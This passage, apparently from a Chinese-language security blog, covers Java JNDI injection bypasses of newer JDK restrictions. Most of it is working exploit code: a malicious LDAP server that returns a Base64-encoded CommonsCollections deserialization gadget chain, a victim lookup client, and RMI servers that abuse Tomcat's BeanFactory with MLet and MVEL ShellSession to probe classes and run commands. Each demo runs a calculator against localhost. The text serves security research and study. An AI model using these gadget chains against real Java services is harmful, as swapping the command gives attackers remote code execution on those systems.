@Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); }
} protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { e.addAttribute("javaClassName", "Exploit"); try { e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AChvcGVuIC9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=")); } catch (ParseException e1) { e1.printStackTrace(); } result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
|
模拟受害者进行JNDI lookup操作,或者使用Fastjson等漏洞模拟触发,即可看到弹计算器的命令被执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package jndi_rmi_injection;
import javax.naming.InitialContext; import javax.naming.NamingException;
public class LDAPClient { public static void main(String[] args) throws NamingException{ try{ String url = "ldap://localhost:1389/Exploit"; InitialContext initialContext = new InitialContext(); initialContext.lookup(url); }catch (Exception e){ e.printStackTrace(); } } }
|
这种绕过方式需要利用一个本地的反序列化利用链,如CommonsCollections或者结合Fastjson等漏洞入口点和JdbcRowSetImpl进行组合利用。
利用CLASSPATH不那么常见的类构造gadget
1、javax.management.loading.MLet 探测类是否存在
javax.management.loading.MLet这个类,通过其loadClass方法可以探测目标是否存在某个可利用类(例如java原生反序列化的gadget)
由于javax.management.loading.MLet继承自URLClassLoader,其addURL方法会访问远程服务器,而loadClass方法可以检测目标是否存在某个类,因此可以结合使用,检测某个类是否存在。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| package jndi_rmi_injection;
import com.sun.jndi.rmi.registry.ReferenceWrapper; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import javax.naming.StringRefAddr; import org.apache.naming.ResourceRef;
public class MLet_rmi_server { public static void main(String[] args) { try { Registry registry = LocateRegistry.createRegistry(1098); ResourceRef ref = new ResourceRef("javax.management.loading.MLet", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null); ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass")); ref.add(new StringRefAddr("a", "javax.el.ELProcessor")); ref.add(new StringRefAddr("b", "http://127.0.0.1:8081/")); ref.add(new StringRefAddr("c", "andrew_hann_class")); ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); registry.bind("Exploit", referenceWrapper); } catch (Exception e) { e.printStackTrace(); } } }
|
上面出现404,则说明前面对ELProcessor类的加载成功了。当loadClass需要加载的类不存在时,则会直接报错,不进入远程类的访问,因此http端收不到GET请求。
2、org.mvel2.sh.ShellSession.exec()
1 2 3 4 5
| <dependency> <groupId>org.mvel</groupId> <artifactId>mvel2</artifactId> <version>2.4.12.Final</version> </dependency>
|
服务端代码如下,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| package jndi_rmi_injection;
import com.sun.jndi.rmi.registry.ReferenceWrapper; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import javax.naming.StringRefAddr; import org.apache.naming.ResourceRef;
public class mvel2_rmi_server { public static void main(String[] args) { try { Registry registry = LocateRegistry.createRegistry(1098); ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null); ref.add(new StringRefAddr("forceString", "a=exec")); ref.add(new StringRefAddr("a", "push Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");")); ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); registry.bind("Exploit", referenceWrapper); } catch (Exception e) { e.printStackTrace(); } } }
|
参考链接:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/codebase.html https://johnfrod.top/%E5%B7%A5%E5%85%B7/ysoserial-%E5%AE%89%E8%A3%85%E4%BD%BF%E7%94%A8%E8%B0%83%E8%AF%95%E6%95%99%E7%A8%8B/ https://github.com/kxcode/JNDI-Exploit-Bypass-Demo https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html https://zhuanlan.zhihu.com/p/471482692 https://chenlvtang.top/2021/09/15/JDK8u191-%E7%AD%89%E9%AB%98%E7%89%88%E6%9C%AC%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5/ https://koalr.me/posts/commonscollections-deserialization/ https://myzxcg.com/2021/10/Java-JNDI%E5%88%86%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8/#contents:%E5%88%A9%E7%94%A8ldap%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%95%B0%E6%8D%AE https://y4er.com/posts/use-local-factory-bypass-jdk-to-jndi/ https://www.cnblogs.com/expl0it/p/13882169.html https://blog.csdn.net/weixin_45682070/article/details/121888247 https://www.cnblogs.com/zpchcbd/p/14941783.html https://y4er.com/posts/attack-java-jndi-rmi-ldap-2/ https://www.cnblogs.com/bitterz/p/15946406.html https://tttang.com/archive/1405/
|